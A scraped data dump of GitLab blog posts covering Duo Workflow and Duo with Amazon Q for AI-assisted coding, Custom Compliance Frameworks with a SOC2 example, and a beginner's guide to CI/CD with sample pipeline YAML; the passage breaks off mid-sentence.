Duo](https://about.gitlab.com/gitlab-duo/)",[790,479,696],{"slug":1587,"featured":92,"template":678},"agentic-ai-guides-and-resources","content:en-us:blog:agentic-ai-guides-and-resources.yml","Agentic Ai Guides And Resources","en-us/blog/agentic-ai-guides-and-resources.yml","en-us/blog/agentic-ai-guides-and-resources",{"_path":1593,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1594,"content":1600,"config":1606,"_id":1608,"_type":16,"title":1609,"_source":17,"_file":1610,"_stem":1611,"_extension":20},"/en-us/blog/automate-tedious-coding-tasks-with-gitlab-duo-workflow",{"title":1595,"description":1596,"ogTitle":1595,"ogDescription":1596,"noIndex":6,"ogImage":1597,"ogUrl":1598,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1598,"schema":1599},"Automate tedious coding tasks with GitLab Duo Workflow","See how agentic AI can reduce time spent on repetitive tasks, freeing you up to focus on developing innovative solutions and shipping the next big thing.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662465/Blog/Hero%20Images/GitLab_Duo_Workflow_Unified_Data_Store__1_.png","https://about.gitlab.com/blog/automate-tedious-coding-tasks-with-gitlab-duo-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automate tedious coding tasks with GitLab Duo Workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeff Park\"}],\n        \"datePublished\": \"2025-05-06\",\n      }",{"title":1595,"description":1596,"authors":1601,"heroImage":1597,"date":1603,"body":1604,"category":791,"tags":1605},[1602],"Jeff Park","2025-05-06","Working with large codebases often means spending significant time on repetitive tasks that, while necessary, don't really push your projects forward. The good news is that these tasks are great candidates to be completed with AI. Reducing the time spent on them will free you up to work on more important problems that you’re actually excited to tackle. With GitLab Duo Workflow, the time spent on these tasks will go from hours to minutes. \n\n[Duo Workflow](https://about.gitlab.com/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/) is a powerful new agentic solution, currently in private beta, that lives in VS Code and is designed to help you complete complex development tasks. While many AI coding assistants are focused on helping developers write code, Duo Workflow understands your project structure, reads your files, and can make coordinated changes across your entire codebase.\n\nI created a demonstration that showcases how Duo Workflow can transform a tedious coding task into a streamlined process that saves you time and mental energy.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1081627484?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Automate tedious coding tasks with GitLab Duo Workflow\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## The challenge: Implementing a new lint rule\n\nIn this demo, we tackle a common scenario that many developers face: implementing a new lint rule and then updating multiple files across the codebase to comply with this rule. The specific issue involves validation errors occurring in several project files that need to be addressed consistently.\n\nRather than manually identifying and modifying each affected file one by one – a process that could take hours depending on the size of your codebase – we'll see how Duo Workflow can:\n\n1. Read and understand the details from an issue   \n2. Analyze the project structure to identify affected files  \n3. Create a comprehensive plan to implement the necessary changes  \n4. Draft a new lint rule to prevent future occurrences  \n5. Make consistent code changes across all relevant files  \n6. Stage the changes for your review before any commits are made\n\nA simple prompt initiates the process: \n\n\"Read through issue #1 in this project and submit code changes to resolve it. Be sure to look at each tool file and make all appropriate changes.\"\n\nFrom there, Duo Workflow takes over – reading the issue, analyzing the files, creating a plan, and implementing the solution – all while keeping me informed of its progress and reasoning.\n\n## Why this matters for your development process\n\nWhat's particularly powerful about Duo Workflow is how it maintains awareness of this wider context throughout the entire process. It's not just making text replacements based on a large language model's training data – it's understanding the code, making intelligent decisions, and proposing a complete solution that you maintain full control over.\n\nThis approach offers several key benefits:\n\n* **Consistency in implementation:** Apply changes uniformly across files  \n* **Time savings:** Focus your energy on creative problem-solving rather than repetitive tasks  \n* **Reduced context switching:** Complete complex tasks without leaving your IDE  \n* **Keeping a human in the loop:** Review all proposed modifications before committing\n\n## What's next\n\nGitLab Duo Workflow is part of our work to bring AI-powered capabilities to every stage of the software development lifecycle. While this demo focuses on code editing, the same approach can be applied to various development tasks:\n\n* Implementing new features based on issue descriptions  \n* Fixing bugs with comprehensive test coverage  \n* Refactoring legacy code to modern standards  \n* Creating documentation from codebase analysis\n\nWe believe that by automating repetitive tasks, Duo Workflow helps you focus on what matters most – solving interesting problems and creating innovative solutions for your users.\n\n> GitLab Duo Workflow is currently available in private beta for GitLab Ultimate customers. [Sign up for the waitlist today!](https://about.gitlab.com/gitlab-duo/workflow/)\n\n## Learn more\n- [Use GitLab Duo Workflow to improve application quality assurance](https://about.gitlab.com/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance/)\n- [Solving complex challenges with GitLab Duo Workflow](https://about.gitlab.com/blog/solving-complex-challenges-with-gitlab-duo-workflow/)\n- [GitLab Duo Workflow: Enterprise visibility and control for agentic AI](https://about.gitlab.com/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/)\n- [Emerging agentic AI trends reshaping software development](https://about.gitlab.com/the-source/ai/emerging-agentic-ai-trends-reshaping-software-development/)\n- [What is agentic AI?](https://about.gitlab.com/topics/agentic-ai/)\n",[790,479,754,695,696,1444],{"slug":1607,"featured":92,"template":678},"automate-tedious-coding-tasks-with-gitlab-duo-workflow","content:en-us:blog:automate-tedious-coding-tasks-with-gitlab-duo-workflow.yml","Automate Tedious Coding Tasks With Gitlab Duo Workflow","en-us/blog/automate-tedious-coding-tasks-with-gitlab-duo-workflow.yml","en-us/blog/automate-tedious-coding-tasks-with-gitlab-duo-workflow",{"_path":1613,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1614,"content":1620,"config":1626,"_id":1628,"_type":16,"title":1629,"_source":17,"_file":1630,"_stem":1631,"_extension":20},"/en-us/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"title":1615,"description":1616,"ogTitle":1615,"ogDescription":1616,"noIndex":6,"ogImage":1617,"ogUrl":1618,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1618,"schema":1619},"How to use GitLab's Custom Compliance Frameworks in your DevSecOps environment","Explore how new frameworks, along with more than 50 out-of-the-box controls, transform regulatory requirements from burdensome checkboxes to integrated, automated workflow components.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097104/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097104092.png","https://about.gitlab.com/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab's Custom Compliance Frameworks in your DevSecOps environment\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-30\",\n      }",{"title":1615,"description":1616,"authors":1621,"heroImage":1617,"date":1623,"body":1624,"category":674,"tags":1625},[1622],"Fernando Diaz","2025-04-30","Compliance isn't just a checkbox — it's a critical business function that affects everything from operational risk to customer trust. For development teams, balancing compliance requirements with velocity can be particularly challenging. GitLab's [Custom Compliance Frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/) offer a powerful way to integrate compliance verification directly into your development workflow. In this article you'll learn what they are and how to use them for maximum efficiecy.\n\n## What are GitLab Custom Compliance Frameworks?\n\nGitLab Custom Compliance Frameworks allow organizations to define, implement, and enforce compliance standards directly within their GitLab instance. This feature extends GitLab's built-in compliance capabilities by enabling teams to create customized frameworks that align with specific regulatory requirements, internal policies, or industry standards.\n\nCustom Compliance Frameworks have the following benefits:\n* Reduce manual tracking  \n* Accelerate audit readiness  \n* Enforce compliance controls natively\n\n![Compliance center screenshot with frameworks listed](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097114254.png)\n\nWith this release, more than 50 out-of-the-box (OOTB) controls are provided (with more coming soon) that can be tailored to your organization's unique compliance needs, including HIPAA in healthcare, GDPR for data privacy, SOC2 for service organizations, or industry-specific regulations. Some examples of OOTB controls include:\n\n* Separation of duties (e.g., at least two approvers and author approved merge request)  \n* Security scanners running (e.g., [SAST](https://docs.gitlab.com/user/application_security/sast/) running and [Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/) running)  \n* Authentication/authorization (e.g., project visibility not public and AuthSSO required)  \n* Application configuration (e.g., status checks required and Terraform required)\n\nAdditionally, you can configure external environmental controls using the GitLab API to check the status and details of an external environment.\n\n## Creating a Custom Compliance Framework from scratch\n\nNow that we understand the value, let's explore how to implement Custom Compliance Frameworks in your GitLab environment. We will use this demo application and you can follow along in this video. \n\n**Note:** A GitLab Ultimate subscription is required.\n\n\u003C!-- TODO: EMBED_YT_VIDEO -->\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/bSwwv5XeMdQ?si=unDwCltF4vTHT4mB\" title=\"Adhering to compliance requirements with built-in compliance controls\n\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Step 1: Define your compliance requirements**\n\nBefore building your custom framework, you need to clearly define your compliance requirements:\n\n1. **Identify applicable regulations:** Determine which regulations and standards apply to your organization (e.g., GDPR, PCI DSS, and HIPAA). \n2. **Map requirements to controls:** Break down each regulation into specific, actionable controls.  \n3. **Prioritize requirements:** Focus on high-risk areas and requirements with the greatest impact.\n\n**Step 2: Create your Custom Compliance Framework**\n\nTo create a custom compliance framework in GitLab:\n\n1. Navigate to your GitLab group's **Secure > Compliance Center** section.  \n2. Press the **New framework** button.  \n3. Select **Create blank framework**.\n\n![Create a custom compliance framework screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097114255.png)\n\n4. Provide a name, description, and color for your framework.\n\n![New compliance framework screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097114257.png)\n\n5. Add a requirement to the framework:  \n   a. Scroll down to the **Requirements** tab.\n\n   b. Press the **New requirement** button.\n\n   c. Provide a name and description.  \n   d. Under the **Controls** section, select **Choose a GitLab control**.  \n   e. Select a control from the list (e.g., at least two approvals, SAST running).  \n   f. Press the **Create requirement** button.\n\n![Create new requirement button](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097114258.png)\n\n6. Press the **Create framework** button.\n\nThe framework will be created as specified and will now be available to add to projects. Additionally, compliance frameworks can be [imported](http://TODO) using a JSON with the appropriate schema.\n\n**Step 3: Apply the framework to projects**\n\nOnce your framework is created:\n1. From the Compliance Center, select the **Projects** tab.  \n2. Use the search bar to **Search** or **Filter** results.  \n3. Select the project(s) you wish to apply your framework to.  \n4. Press the **Choose one bulk action** button.  \n5. Select **Apply frameworks to selected projects**.  \n6. Press the **Select frameworks** button.  \n7. Select your framework(s) from the list.  \n8. Press the **Apply** button.\n\n![Compliance center screen with SOC 2 framework dropdown](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097114260.png)\n\nThe framework will now be applied to the project, making its requirements visible and trackable.\n\n**Step 4: Monitor and report on compliance**\n\nWith your framework in place, you can now:\n\n1. Use the **Compliance Center** to track compliance status across projects including details and suggested fixes for failed controls.\n2. Generate **compliance reports** for audits and stakeholder reviews.  \n3. Set up **compliance alerts** to notify stakeholders of potential compliance issues. \n4. Review **audit events** to overview action taken on compliance settings.\n\n![Compliance Center screen showing SOC2 test framework](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097114263.png)\n\n## Real-world example: Implement a SOC2 compliance framework\n\nSystem and Organization Controls 2, better known as SOC2, is a rigorous auditing standard developed by the American Institute of Certified Public Accountants that assesses a service organization's controls related to security, availability, processing integrity, confidentiality, and privacy. You can read my [Guide to fulfilling SOC 2 security requirements with GitLab](https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab/) to learn more.\n\nNow, let's review a practical example of using a Custom Compliance Framework to verify SOC2 security compliance, which requires:\n\n* implementation of controls to protect against unauthorized access  \n* establishment of procedures for identifying and mitigating risks  \n* setting up systems for detecting and addressing security incidents\n\n**Disclaimer:** This is only an example showcasing some of the controls possible for adhering to SOC2. Be sure to consult with your security/compliance team before moving any implementation to production.\n\nA Custom Compliance Framework for SOC2 will look as follows using some GitLab OOTB controls:\n\n* **Name:** SOC2 Security Requirements  \n* **Description:** Adds the security requirements for SOC2 framework compliance  \n* **Requirements:**  \n  * **Implement controls to protect against unauthorized access**  \n    * Auth SSO enabled  \n    * CI/CD job token scope enabled  \n    * Require MFA at org level  \n  * **Establish procedures for identifying and mitigating risks**  \n    * At least two approvals  \n    * Author approved merge request  \n    * Committers approved merge request  \n    * Default branch protected  \n  * **Setting up systems for detecting and addressing security incidents**  \n    * Dependency Scanning running  \n    * SAST running  \n    * DAST running\n\nWhen applied to your project(s), this framework allows you to oversee if/and when they fall out of compliance and what can be done to bring them back into compliance. Note that you can create and apply multiple compliance frameworks to a project(s). For example, you can have one for SOC2 process integrity requirements.\n\n## Implement security policies to ensure compliance requirements are met\n\nAlthough not required, security policies can be applied to projects containing a Custom Compliance Framework. This allows you to assure that certain compliance criteria will be enforced via security policies. For example, you can force security scanners to run on projects that contain a Custom Compliance Framework requiring security scanning. \n\nGitLab provides various different security policies:\n\n* [Scan execution policy](https://docs.gitlab.com/user/application_security/policies/scan_execution_policies/): Enforces security scans, either as part of the pipeline or on a specified schedule.  \n* [Merge request approval policy](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/): Enforces project-level settings and approval rules based on scan results.  \n* [Pipeline execution policy](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/): Enforces CI/CD jobs as part of project pipelines. \n* [Vulnerability management policy](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/): Automatically resolves vulnerabilities that are no longer detected in the default branch.\n\nLet’s go ahead and force a SAST scanner to run in order to automatically adhere to any requirements that require SAST scanning. To create a security policy and apply it to a project with a particular framework:\n\n1. Navigate to a project that has a Custom Compliance Framework requiring **SAST scanning**. \n2. In the sidebar, select **Secure > Policies**.  \n3. Press the **New policy** button.  \n4. Under **Scan execution policy**, press the **Select policy** button. \n5. Fill in the **Name** and **Description**. \n6. Under **Actions**, select **SAST** as the scan to run.\n\n![Actions screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097114264.png)\n\n7. Under **Conditions**, select the pipeline to be triggered when a pipeline runs for all branches.\n\n![Conditions screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097114265.png)\n\n8. Press the **Configure with a merge request** button.  \n9. An MR is now created in a separate project containing all the security policies scoped to this project.\n10. Press the **Merge** button.\n\nNow SAST will run for every branch, assuring you are compliant in that area. Be sure to review all the different types of security policies and see how they can suit your requirements.\n\n## 5 best practices to follow\n\nTo maximize the value of Custom Compliance Frameworks:\n\n1. **Start small:** Begin with one critical regulation or standard before expanding.  \n2. **Involve key stakeholders:** Include compliance, security, and development teams in framework creation.  \n3. **Automate where possible:** Use GitLab CI/CD to automate compliance checks.  \n4. **Document thoroughly:** Maintain clear documentation of how your framework maps to regulatory requirements.  \n5. **Review regularly:** Update your frameworks as regulations evolve or new requirements emerge.\n\n## Get started today\n\nGitLab Custom Compliance Frameworks represent a significant advancement in DevSecOps by bringing compliance directly into the development workflow. By implementing custom frameworks, organizations can reduce compliance overhead, improve risk management, and accelerate development cycles while maintaining robust compliance with regulatory requirements.\n\nThe ability to define and enforce Custom Compliance Frameworks gives teams the flexibility they need to address their specific regulatory landscape while providing the structure necessary to ensure consistent compliance practices across the organization.\n\nAs regulatory requirements continue to grow in complexity, tools like GitLab Custom Compliance Frameworks will become increasingly essential for organizations looking to balance compliance requirements with development velocity in a sustainable way.\n\n> To try Custom Compliance Frameworks today, sign up for your [free, 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n\n## Learn more\n\nVisit these resources to learn more about Custom Compliance Frameworks and how they can benefit your organization:\n\n* [Custom Compliance Frameworks documentation](https://docs.gitlab.com/user/compliance/compliance_center/compliance_status_report/)  \n* [Custom Compliance Frameworks epic](https://gitlab.com/groups/gitlab-org/-/epics/13295)  \n* [Security Policies documentation](https://docs.gitlab.com/user/application_security/policies/)  \n* [GitLab Security and Compliance solutions](https://about.gitlab.com/solutions/security-compliance/)",[674,696,479,754,695],{"slug":1627,"featured":92,"template":678},"how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops","content:en-us:blog:how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","How To Use Gitlabs Custom Compliance Frameworks In Your Devsecops","en-us/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","en-us/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"_path":1633,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1634,"content":1640,"config":1645,"_id":1647,"_type":16,"title":1648,"_source":17,"_file":1649,"_stem":1650,"_extension":20},"/en-us/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes",{"title":1635,"description":1636,"ogTitle":1635,"ogDescription":1636,"noIndex":6,"ogImage":1637,"ogUrl":1638,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1638,"schema":1639},"GitLab Duo + Amazon Q: Transform ideas into code in minutes","The new GitLab Duo with Amazon Q integration analyzes your issue descriptions and automatically generates complete working code solutions, accelerating development workflows.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097127/Blog/Hero%20Images/Blog/Hero%20Images/Screenshot%202024-11-27%20at%204.55.28%E2%80%AFPM_4VVz6DgGBOvbGY8BUmd068_1750097126673.png","https://about.gitlab.com/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo + Amazon Q: Transform ideas into code in minutes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2025-04-28\",\n      }",{"title":1635,"description":1636,"authors":1641,"heroImage":1637,"date":1642,"body":1643,"category":791,"tags":1644},[937],"2025-04-28","Have you ever spent days or even weeks converting a complex issue into working code? We've all been there. You start with a solid idea and a clear set of requirements, but the path from that initial concept to deployable code can be frustratingly long. Your productivity gets bogged down in implementation details, and projects that should move quickly end up dragging on.\n\nThis is where the power of [agentic AI](https://about.gitlab.com/topics/agentic-ai/) capabilities comes in. [GitLab Duo with Amazon Q](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/), which combines the comprehensive AI-powered DevSecOps platform with the deepest set of cloud computing capabilities, is designed to dramatically accelerate your application development process, all within your familiar GitLab workflow. By streamlining your path from idea to deployment, this powerful integration can propose implementation solutions based on your issue descriptions alone – transforming what used to take days into something that happens in minutes.\n\n## How it works: From issue to working code\n\nLet's walk through how this agentic AI feature works in practice. Imagine you're a developer tasked with creating a mortgage calculator application. Here's how GitLab Duo with Amazon Q helps you get it done:\n\n1. **Create an issue with detailed requirements:** Start by creating a standard [GitLab issue](https://docs.gitlab.com/user/project/issues/). In the description, you'll provide a comprehensive list of requirements that your service needs to meet. This becomes the blueprint for your solution.\n\n2. **Invoke Amazon Q with a quick action:** Once your issue is created, simply add a comment with a quick action, “/q dev”, to invoke Amazon Q. This is where the magic begins. \n\n3. **Let AI generate your implementation:** GitLab Duo with Amazon Q analyzes the issue description you've provided and the context of your source code, then autonomously generates code that meets all your stated requirements. It doesn't stop there – it actually commits those changes in a merge request, ready for your review.\n\n![GitLab Duo  with Amazon Q activity pop-up screenshot](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097156/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097156018.png)\n\n4. **Review the generated application**: Navigate into the merge request to review the generated code. You can verify that all your requirements have been met and make any necessary adjustments.\n\n5. **Test the proposed application**: Finally, check that the application runs successfully. With minimal effort on your part, you now have working code that implements your original requirements.\n\n## Improve your development process\n\nGitLab Duo with Amazon Q completely transforms this process, including dramatically decreasing the time it takes to carry out complex developer tasks, through intelligent automation. By leveraging an agentic AI approach, you can accelerate your path from idea to deployment, freeing development teams to focus on more strategic work.\n\nWith GitLab Duo and Amazon Q, you'll develop software faster, more efficiently, and with less manual coding effort. This integration helps you:\n\n* **Save valuable development time** by automating implementation based on requirements  \n* **Maintain consistency** in code generation across your projects  \n* **Reduce the cognitive load** of translating requirements into working code  \n* **Accelerate your release cycles** by removing implementation bottlenecks  \n* **Focus your expertise** on reviewing and optimizing, rather than writing boilerplate code\n\nReady to see GitLab Duo with Amazon Q in action? Watch our demo video to discover how you can transform your development workflow today.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/jxxzNst3jpo?si=j_LQdZhUnwqoQEst\" title=\"GitLab Duo with Amazon Q demo video for dev workflow\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> To learn more about GitLab Duo with Amazon Q visit us at an upcoming [AWS Summit in a city near you](https://about.gitlab.com/events/aws-summits/) or [reach out to your GitLab representative](https://about.gitlab.com/partners/technology-partners/aws/#form).\n\n## GitLab Duo with Amazon Q resources\n\n- [GitLab Duo with Amazon Q: Agentic AI optimized for AWS generally available](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/)\n- [GitLab and AWS partner page](https://about.gitlab.com/partners/technology-partners/aws/)\n- [GitLab Duo with Amazon Q documentation](https://docs.gitlab.com/user/duo_amazon_q/)",[790,944,696,479,695,232],{"slug":1646,"featured":92,"template":678},"gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes","content:en-us:blog:gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes.yml","Gitlab Duo Amazon Q Transform Ideas Into Code In Minutes","en-us/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes.yml","en-us/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes",{"_path":1652,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1653,"content":1658,"config":1663,"_id":1665,"_type":16,"title":1666,"_source":17,"_file":1667,"_stem":1668,"_extension":20},"/en-us/blog/getting-started-with-gitlab-understanding-ci-cd",{"title":1654,"description":1655,"ogTitle":1654,"ogDescription":1655,"noIndex":6,"ogImage":1375,"ogUrl":1656,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1656,"schema":1657},"Getting started with GitLab: Understanding CI/CD","Learn the basics of continuous integration/continuous delivery in this beginner's guide, including what CI/CD components are and how to create them.","https://about.gitlab.com/blog/getting-started-with-gitlab-understanding-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting started with GitLab: Understanding CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-04-25\",\n      }",{"title":1654,"description":1655,"authors":1659,"heroImage":1375,"date":1660,"body":1661,"category":695,"tags":1662},[711],"2025-04-25","*Welcome to our \"Getting started with GitLab\" series, where we help newcomers get familiar with the GitLab DevSecOps platform.*\n\nImagine a workflow where every code change is automatically built, tested, and deployed to your users. That's the power of [Continuous Integration/Continuous Delivery (CI/CD)](https://about.gitlab.com/topics/ci-cd/)! CI/CD helps you catch bugs early, ensures code quality, and delivers software faster and more frequently.\n\n### What is CI/CD?\n\n* **Continuous Integration** is a development practice where developers integrate code changes into a shared repository frequently, preferably several times a day. Each integration is then verified by an automated build and test process, allowing teams to detect problems early.  \n* **Continuous Delivery** extends CI by automating the release pipeline, ensuring that your code is *always* in a deployable state. You can deploy your application to various environments (e.g., staging, production) with a single click or automatically.  \n* **Continuous Deployment** takes it a step further by automatically deploying *every successful build* to production. This requires a high degree of confidence in your automated tests and deployment process.\n\n### Why GitLab CI/CD?\n\nGitLab CI/CD is a powerful, integrated system that comes built-in with GitLab. It offers a seamless experience for automating your entire software development lifecycle. With GitLab CI/CD, you can:\n\n* **Automate everything:** Build, test, and deploy your applications with ease.  \n* **Catch bugs early:** Detect and fix errors before they reach production.  \n* **Get faster feedback:** Receive immediate feedback on your code changes.  \n* **Improve collaboration:** Work together more effectively with automated workflows.  \n* **Accelerate delivery:** Release software faster and more frequently.  \n* **Reduce risk:** Minimize deployment errors and rollbacks.\n\n### The elements of GitLab CI/CD\n\n* `.gitlab-ci.yml`**:** This [YAML file](https://docs.gitlab.com/ee/ci/yaml/), located in your project's root directory, defines your CI/CD pipeline, including stages, jobs, and runners.  \n* [**GitLab Runner**](https://docs.gitlab.com/runner/)**:** This agent executes your CI/CD jobs on your infrastructure (e.g. physical machines, virtual machines, Docker containers, or Kubernetes clusters).  \n* [**Stages**](https://docs.gitlab.com/ee/ci/yaml/#stages)**:** Stages define the order of execution for your jobs (e.g. build, test, and deploy).  \n* [**Jobs**](https://docs.gitlab.com/ee/ci/yaml/#job-keywords)**:** Jobs are individual units of work within a stage (e.g. compile code, run tests, and deploy to staging).\n\n### Setting up GitLab CI\n\nGetting started with GitLab CI is simple. Here's a basic example of a `.gitlab-ci.yml` file:\n\n```yaml\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild_job:\n  stage: build\n  script:\n    - echo \"Building the application...\"\n\ntest_job:\n  stage: test\n  script:\n    - echo \"Running tests...\"\n\ndeploy_job:\n  stage: deploy\n  script:\n    - echo \"Deploying to production...\"\n  environment:\n    name: production\n\n```\n\nThis configuration defines three stages: \"build,\" \"test,\" and \"deploy.\" Each stage contains a job that executes a simple script.\n\n### CI/CD configuration examples\n\nLet's explore some more realistic examples.\n\n**Building and deploying a Node.js application**\n\nThe pipeline definition below outlines using npm to build and test a Node.js application and [dpl](https://docs.gitlab.com/ci/examples/deployment/) to deploy the application to Heroku. The deploy stage of the pipeline makes use of [GitLab CI/CD variables](https://docs.gitlab.com/ci/variables/), which allow developers to store sensitive information (e.g. credentials) and securely use them in CI/CD processes. In this example, an API key to deploy to Heroku is stored under the variable key name `$HEROKU_API_KEY` used by the dpl tool.\n\n```yaml\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild:\n  stage: build\n  image: node:latest\n  script:\n    - npm install\n    - npm run build\n\ntest:\n  stage: test\n  image: node:latest\n  script:\n    - npm run test\n\ndeploy:\n  stage: deploy\n  image: ruby:latest\n  script:\n    - gem install dpl\n    - dpl --provider=heroku --app=$HEROKU_APP_NAME --api-key=$HEROKU_API_KEY\n\n```\n\n**Deploying to different environments (staging and production)**\n\nGitLab also offers the idea of [Environments](https://docs.gitlab.com/ci/environments/) with CI/CD. This feature allows users to track deployments from CI/CD to infrastructure targets. In the example below, the pipeline adds stages with an environment property for a staging and production environment. While the deploy_staging stage will always run its script, the deploy_production stage requires manual approval to prevent accidental deployment to production.  \n\n```yaml\n\nstages:\n  - build\n  - test\n  - deploy_staging\n  - deploy_production\n\nbuild:\n  # ...\n\ntest:\n  # ...\n\ndeploy_staging:\n  stage: deploy_staging\n  script:\n    - echo \"Deploying to staging...\"\n  environment:\n    name: staging\n\ndeploy_production:\n  stage: deploy_production\n  script:\n    - echo \"Deploying to production...\"\n  environment:\n    name: production\n  when: manual  # Requires manual approval\n\n```\n\n### GitLab Auto DevOps\n\n[GitLab Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) simplifies CI/CD by providing a pre-defined configuration that automatically builds, tests, and deploys your applications. It leverages best practices and industry standards to streamline your workflow.\n\nTo enable Auto DevOps:\n\n1. Go to your project's **Settings > CI/CD > General pipelines**.  \n2. Enable the **Auto DevOps** option.\n\nAuto DevOps automatically detects your project's language and framework and configures the necessary build, test, and deployment stages. You don’t even need to create a `.gitlab-ci.yml` file.\n\n### CI/CD Catalog\n\nThe [CI/CD Catalog](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/) is a list of projects with published [CI/CD components](https://docs.gitlab.com/ee/ci/components/) you can use to extend your CI/CD workflow. Anyone can create a component project and add it to the CI/CD Catalog or contribute to an existing project to improve the available components. You can find published components in the [CI/CD Catalog](https://gitlab.com/explore/catalog) on GitLab.com.\n\n> [Tutorial: How to set up your first GitLab CI/CD component](https://about.gitlab.com/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component/)\n\n### CI templates\n\nYou can also create your own [CI templates](https://docs.gitlab.com/ee/ci/examples/) to standardize and reuse CI/CD configurations across multiple projects. This promotes consistency and reduces duplication.\n\nTo create a CI template:\n\n1. Create a `.gitlab-ci.yml` file in a dedicated project or repository.  \n2. Define your CI/CD configuration in the template.  \n3. In your project's `.gitlab-ci.yml` file, use the `include` keyword to include the template.\n\n## Take your development to the next level\n\nGitLab CI/CD is a powerful tool that can transform your development workflow. By understanding the concepts of CI/CD, configuring your pipelines, and leveraging features like Auto DevOps, the CI/CD Catalog, and CI templates, you can automate your entire software development lifecycle and deliver high-quality software faster and more efficiently.\n\n> Want to take your learning to the next level? Sign up for [GitLab University courses](https://university.gitlab.com/). Or you can get going right away with a [free 60-day trial of GitLab 